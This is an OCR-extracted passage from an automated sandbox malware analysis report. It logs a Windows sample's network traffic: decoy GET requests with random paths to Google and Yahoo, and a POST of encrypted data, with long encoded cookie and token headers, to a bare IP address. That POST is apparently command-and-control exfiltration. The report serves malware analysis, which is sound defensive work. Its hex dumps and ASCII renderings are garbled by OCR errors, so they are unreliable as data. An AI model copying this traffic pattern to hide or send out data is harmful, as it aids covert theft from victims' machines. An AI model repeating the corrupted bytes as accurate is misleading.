da 51 25 7b 13 ef 23 98 ac 20 3e 62 50 ¢7 7d 41 bb el fd 11 00 a4 09 c1 b9 b7 25 bd f2 a8 d6 72 ¢7 93 70 77 95 4c 01 al
78 46 6d 77 76 a0 68 8d 6b 97 53 57 d1 1c 44 7 ad 67 7a 1d b5 30 69 58 33 af c6 a9 b8 e5 e5 8d bb fb 57 af 82 15 04 dd
91 34 02 a4 7c 66 95 8f 1f c6 3c f0 98 85 f1 7c 7a cb d4 d3 63 29 f6 02 63 bd 1e 97 fd 3b e5 9e 00 c9 9f f2 Ob 37 ec c4 a8
74 46 f9 ¢3 18 80 80 1d 2f e4 c0 3b 58 35 7a f6 c5

Data Ascii: >E?5dvxtH+ebfMAx?csidej)~ilg0![G>"VVS{Q%{# >bP}A%rpwLxFmwvhkSWDgz0iX3W4|f<|zc)c;7tF/;X5z

Data Raw: d6 9d d2 82 22 8a 5e 70 a0 69 1a 3f 0a dc 73 0a 72 94 a7 61 5b 76 7d 5b f1 bd a0 51 d6 e3 03 7e 1a 41 a9 3a
757116 9c 33 14 08 a3 42 da 92 21 05 b0 16 ce de 44 2b de ca eb 92 af ae 37 51 61 89 bf 45 7e 3e 7c b6 42 25 f8 el 72
le 4b 50 73 ec eb 78 a0 ac 4d 77 96 9c 7b bb 20 03 49 2b 88 2d e0 82 60 c3 Oc 8d dd bb 37 5d 4f ff 56 5a 53 b1 5f d5 69
5b 80 b3 57 4e €3 00 88 €6 1c dO 5e 7e ea le €8 46 60 38 64 81 c0 a5 15 f7 49 32 96 dd bb 6e 79 e4 12 8e b6 50 Of 7b

al ff 4c 0a 15 ab 02 98 cd 1b dd 13 a2 be 65 4c 3b 05 20 f4 e2 8e 6e 78 33 a6 de 78 e8 56 ae 8f 50 40 2b 2f 71 f6 40 8d f5
66 48 4b b7 48 40 99 2c f3 b5 20 5¢ 55 fc d5 52 be 08 b5 0d f5 04 25 98 el d3 e4 2f 1d df 32 6¢ d9 57 61 9f b9 24 29 25
db ab 7b b7 04 60 c9 ce d7 60 46 Of 6e be c7 de 28 db 6¢

Data Ascii: "Api?sra[v}[Q~A:uq3B!D+7QaE~>|B%rKPsxMw{ I+-'7]OVZS_i[WN"~F'8dI2nyP{LeL; nx3xVP@+/q@fHKH@,
\UR%/21Wa$)%{ " Fn(l

Data Raw: b8 bc 76 3c 34 50 bf 39 al ba c8 9a a0 d6 bd 3c 67 46 al 43 be d3 a7 €6 Ob 25 3d 7d 4f Of 6b 61 d8 ca 26 c1 fc
27 b2 22 65 el Oc 28 3c cf b5 9f 72 5a 86 €8 9b 5¢ a7 5e 92 40 6d 2e c7 c5 f5 b9 e5 a3 10 54 eb 22 b8 ea b9 e 73 66 20
44 9d e9 a7 53 04 7b 87 51 ec 85 45 54 da 2a 32 56 2b bc 7d 39 1e ac 15 2a 76 c0 Oc 53 e5 88 bb 3f 3d 89 8¢ 3f dc 2c 5d
62 57 ca b0 34 cd 5d be 5f af 9d 5b 32 6¢ 23 7f ac fc d6 f0 59 3f 0a 35 8d 07 58 ed 35 80 09 al 57 4a d6 36 f6 63 2e 46 e4
ad 4a 8f 01 fd cc 7d 4e c4 f5 34 d7 55 bc 5d d5 f2 fb 84 2a 99 89 e7 47 d1 07 6a 3d 3f 49 13 65 6b 97 21 88 b7 ce cc 6d 86
d5 09 74 eb 64 1f 61 49 90 57 ea Oe b3 96 4b 0d 2b d6 c1 06 1e 69 44 d1 f3 4a 7f f7 8e 00 62 d5 00 60 3c 30 57 96 25 5d
ff ca 8¢ dc Of 0a 65 88 22 97 5b 0d fb 5¢ 11 d6

Data Ascii: v<4P9<gFC%=}Oka&"e(<rZ\*"@m.T"sf DS{QET*2V+}9*vS?=?,]bW4]_[2I#Y?5X5WJ6¢.FI}INAUJ*Gj="2lek!
mtdalWK+iDJb'<0W%]e"[\

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /9Hhrz5mDbrn8Qrv6BhSyJu3ilbmvariZy941x0wnp/oumUiownvnB1p3zqdjXI3u72hsc5nbkN77b/zbgW6z9Uin15G7c5)
r0cyeasu7qV3dc104waqjXchaktld/ibksz5L9x2rkvixc5k6evO3v/uiz5ke6ChX71rpTvub63jnhzzdiNSpnvg9YYonbas5w3q56f/
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1759

Date: Tue, 28 Sep 2021 07:54:09 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6€ 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
def{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe
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kBytes
Timestamp transferred

2021-09-28 07:54:10 UTC 986

2021-09-28 07:54:10 UTC 986

2021-09-28 07:54:10 UTC 988

2021-09-28 07:54:10 UTC 988

Session ID Source IP

52 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:10 UTC 989

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49970

Direction
ouT

Data

GET /zenkwexiMwyvifihevyftylw6ita8VpkP9/dqrQyocp7zizIBZ6cj3CxfomrRQgclmav73p47xird7x4/6b66Rrazdf7znb2
u63fL17mhBfwzxphqgf40h43Ixca/uo6tbeu5ks49j6cI3InimOpjdudi6v163xP82f0Zt/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:09 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 906

Age: 1

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=d6hekuhgl5ih2&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 31 30 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:10 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3¢ 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e Oa 3c 73 63 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 7572 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 7a 65
6e 6b 77 65 78 69 4d 77 76 69 66 69 68 65 76 79 66 74 79 6¢ 77 36 69 74 61 38 56 70 6b 50 39 25 32 66 64 71 72 51 79
6f 63 70 37 7a 69 7a 6¢ 42 5a 36 63 6a 33 43 78 66 6f 6d 72 52 51 71 63 6¢ 6d 61 76 37 33 70 34 37 78 69 72 34 37 78

34 2532 66 36 62 36 36 52 72 61 7a 64 66 37 7a 6e 62 32 75 36 33 66 4¢c 31 37 6d 68 42 66 77 7a 78 70 68 71 66 34 30
68 34 33 6¢ 78 63 61 25 32 66 75 6f 36 74 62 65 75 35 6b 73 34

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fzenkwexiMwvifihevyftylw6ita8VpkP9%2fdqrQyocp7zizIBZ6cj3CxfomrRQqclmav73p47xird7x4%2f6b
66Rrazdf7znb2u63fL17mhBfwzxphqf40h43ixca%2fuo6tbeusks4

Destination IP  Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /iButv9s4rkH24tr3Gy9/bmzntdUJIX8nzh5PnvFYjyb5m408iAPQiOVWWOkvK5iXqget5/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:10 UTC 989

2021-09-28 07:54:10 UTC 990

2021-09-28 07:54:10 UTC 990

2021-09-28 07:54:10 UTC 990

2021-09-28 07:54:10 UTC 991

2021-09-28 07:54:10 UTC 991

Session ID Source IP

53 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49981

Direction

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:10 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 7

server: ATS

Age: 0

Transfer-Encoding: chunked

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=2bprkhhgl5ih2&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 31 30 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:10 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 32 63 30 0d Oa
Data Ascii: 2cO

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 7572 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 69 42
757476397334 726b 483234 7472334779 39 2532 66 62 6d 7a 6e 74 39 55 4a 58 38 6e 7a 68 35 50 6e 76 46 59
6a 79 62 35 6d 34 30 38 69 41 50 51 69 4f 76 57 77 30 6b 76 4b 35 69 58 71 65 74 35 25 32 66 27 3b 0a 69 66 28 77 69
6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3¢ 70 3e
43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6¢ 79

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%?2fiButv9s4rkH24tr3Gy9%2fbmznt9UJIX8nzh5PnvFYjyb5m408iAPQIOVWwWOkvK5iXget5%2f'if(window!=w
indow.top){ document.write('<p>Content is currently

Data Raw: Od Oa
Data Ascii:

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP  Destination Port Process
161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:54:11 UTC 991

2021-09-28 07:54:11 UTC 994

2021-09-28 07:54:14 UTC 1019

Session ID Source IP

54 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:11 UTC 1008

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
49982

Direction
ouT

Data

POST /feed/news/last HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: HSID=kJ2vBKELQjx6ucm4FxbksBXik9kOFMXL6puCdW1z01InOZuvgJyVnefTLrV2ilIxfKfLv51B2CA8ikk2KIk9eEX
E4lfwrD047SyGcQ1mQpV55f2%2BY XnyCLrYdmzn%2BKgH2IsSY5F7aVm7HOE%2FKSHAebwekcfXNGnIC8uXK7cUkDp
vOJdoc4akhISPgxWWmD2FhcttG8TxMzyLOAOE9ZhicDm%2BIVv401r5V%2B%2FAgvmgRXF7urnJgZzR8DujOUbPv2I
qIX4%2Fr0fsMtVBQa8F%2FoSylo4dwsV%2BM7zfqBkrfIMP%2FrHh1VOGJBnH5qgzioll4PtgFWRbgckXgditkZytkr5
kkmIw%3D%3D;SIDCC=KS3GQ9IUhzLHXXdW%2BTVpOINqvNwZ%2Bfs8KEC6dCRDtTBAXCQCspkerxjnjXNnIpUxGi5f
Ui8Mmc4sZTcPsQxrQfdFGNjiwsyxaULcaJ9vmyzh5t9H7ouXyUuVVSagEt3sdRS6k917LIRRFwWfOM2g6GQEARY%2F9
2Qc10sj1g6JuhlZInc2jny9y0BWX6yIr7LP9qEggZN2Zf3XeU%2F66yZoogNWKwGmMJoEiPvc%2FbOPrEpHp69MWhb7p
hACxHiOrBtts8VX8JugcQT9JLasLYQTnrIB%2FRObsCXKLChIPDCj%2Fx%2BQguCZfCSXRzXuOHKsg0zDW5KV9AaYP
UsPZa8Z0nllI1tiAg%3D%3D;SID=5fkSaUfdxuXZma4HGU2mrRRXK24BY 6ygL%2FdocxfZlcSyEyZ9opCEmMMn9z6f1R
dTvSF1JS7BR324qM2ormxazE%2B%2BTr1dYnSGt2UfSwYFFG%2BoMcCX1b1uPZGOE4tyPvNywyBFFxj%2Bt0TfVv90
nFPdajDaxUXqdHA%2Bze3HCIVnn2wFzG5Jb2NBIpOF8i7EINnduUC3s8IXZAdjM%2BbidY%2BcRBp%2FYhW63twot9m
3%2BmF4sIx0%2BbZALpCgMrSaoJ1UUYdNS87HI8laTAhnR5ynl0oAm5psaW5FIsPtv%2B40iE%2B8HxhQAe7Wifi9L
Ng4mr0%2FSLZf1A40VZxFz5BTd%2BpIxMZ%2FVuMQ%3D%3D;SSID=GU50gkmVTOI9gubdKu%2F9d9d1%
2FwW7140gQFgvqyjukJadwllL8H8IPEYqvTzCZh5ZNFOkcV9pwaOLyRiICPEEIET64564%2BLQ6UC7uZQRUBSIyHeLQMj
0T71nj%2F8ZxBr7111dSyWJy5pz50eCb1%2BsoQ8LCZ1v4TgfNL8uZYdewfVbDz5uYeopGQPNBkIfGZMnMzYVa8lYb
9vGKIHh(fii6xZNI5GIkOhl20wNnKTmdRVgE0oOn45w828KVX|t8zONTGOpGVFDbMfbja0j1p0gigWj7gTA6YDGI3rDE
VyAwWRsSB31LUGVEGTg8GQ%2BruPQxDsS%2FE7ztg9Xg1fsW3v%2B%2BJ%2FK3wrtQ%3D%3D;

X-Tag: TIG3U1G%2Fukj2EF9QhQ08z6aRICN%2BAeQR%2BaWQSVHgomPMpgKUVJIX3wx8UBwnhC8h0Aby
2B3TyVDcD5rTKBBOQhSyuljwLx47iT%2FB16IW82AT30%2FFN4Xun%2BL7ZvS%2BbtiInGBRNFBt%2FKowUsV96FNO
%2BlvQve2j9cRKeRaVIqQgFZlwgelpWuMG6XBetHMw52s5nDNCEfX9d T5rMLMf8ous8Wh8gtY Pt5%2FiWFmXilolrd
64Ck93EaDB3%2BovT2gNIKObAbBLbcrx%2B7pGSIwCwrSh%2FEn7USuRW75ZKwnbTWebYiLtS6VCKdz7rVvp%2B0%
2BwuSLDQZVdtltsUJg%2FetiyS%2B8www%3D%3D

X-Csrf-Token: %2BskM04IKVPXWUIpbgi4PXtG3CijltfligmMp2zalERDIyFYMJ9mMGAhX4MOaTqZWUvGvoKOe7EI4
z5NIsXZuFa3adc8F0x0bQjCoEuO3nVMKBIF5EUWLTm1tFHEHaEIiujutupzpfPAGITMwtg60mOWHJI3Qzc%2BmGF5mn6
ITbfI8RxbvDxcLxLzciMCnVOCfKqQIloJirX%2FJIrmFfy%2ByFVBSEB9%2BjrvJSRxXZja0Xbdi01lean5TWWePix6aq
XJN%2FXyduRjZIVtfljF3MYxJ%2BfB4LP9K5¢czCI1VBFbDcBCtd4%2FHq%2BNUXagjc6Kg7r808mguFzn%2FVEZWE
ZTFZ4%2BD%2FTwssWmfA%3D%3D

X-Request-ID: 1kURiweW%2FeufQg5qrSOI9CNOZEqVIMIx41%2BTBI4KrUSE4HkvO TcVeKDgbclkN2W7%2Bogje
sUBXvuahGcs5YC%2FIhJbgAEVErx1Y54xeC7J4IBO0c247vikNsRXAftd3pxnff4AWX6qleLvxNo353ESfIZ3I0NAH5
r92R2voM1%2B1sBEAQC2Ssy8RWOVbTu8Ch95GSKuUR9I0MqqVHE%2FhMr6 DbdHCLmMcEhBME2gEb5LZ1mX
Lk1sx7GviwmU%2Fd4leL%2F%2BdIJFEN2%2FY ShIP20Xc7tR%2FoqDrXttjD1YtLa94sWKdcuUQfmsL7WeWRtohQte
aEqLJIhmfjin54he8IRL%2B1IFLRYxA%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 14336

Cache-Control: no-cache

Data Raw: 51 a7 6b Oe 5b 25 51 aa 92 4a d3 7f 95 al fe 04 c3 1d 7b ce 6f 1c Of fc 55 a5 c¢9 70 7d 50 b2 3a 16 15 02 6a c2
66 d8 80 25 fc e0 aa dO 78 bd 8b a8 2f 75 21 09 e3 79 49 a3 50 3¢ 27 b2 6d 6¢ 52 b2 ca 77 0a a8 a3 71 26 Of ce d2 e5 86
33 a7 ecf2348d7b 83 c3 fe 89 ef 3b 41 48 ff d7 1a 09 d8 Oe 61 1c 42 c¢55b 12 el 5¢ b3 ¢8 01 25 85 75 e5 76 0d cd Oa 7
57 1fe0 29 54 1c dd c7 41 74 1a 56 c8 f6 25 3a 72 2b 5d 6a 7a 3¢ 1d 90 36 c5 a7 f9 aa 77 ef 7f €9 50 fd 01 74 4c 86 09 03
1d c8 e5 0e 95 82 27 9c b7 35 b3 d8 b5 76 58 c8 2d 4c af a3 10 cd 1e dc 80 ee f7 00 5¢ 4d aa 6d 4c 23 ca ae 28 e0 22 77
2d 8d fd 5f 14 89 c5 48 6f b9 be 4b 46 c4 62 2a 39 10 c3 7a 91 5a b6 c1 36 57 99 5¢ Oa 54 3e 9b 84 bf 28 a3 b4 Oe 7a 04
faa4 21 31 76 94 10 18 e6 8¢ c8 3f 7d fO 7e Oe

Data Ascii: Qk[%QJ{oUp}P:jf%x/ulyIP<'mIRwq&34{;AHaB[\%uvW) TAtV%:r+]jz<6wPtL'5vX-L\MmL#("w-_HoKFb*9zZ6W\T>
(z!'1v?}~

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:54:13 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP  Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /bee595xzwjrurd T 1L7zJ4suumRmpeqIGAsgb/hktc7sZgKowgs8bsign516jfokyRg3nf4oBp/uswH14uVg3r5E7femdeem
9plepubgbr/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:11 UTC 1008

2021-09-28 07:54:11 UTC 1010

2021-09-28 07:54:11 UTC 1010

Session ID Source IP

55 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:12 UTC 1011

2021-09-28 07:54:12 UTC 1011

2021-09-28 07:54:12 UTC 1011

2021-09-28 07:54:12 UTC 1012

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49984

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:11 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 784

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=8d04vs9gl5ih3&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 31 31 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
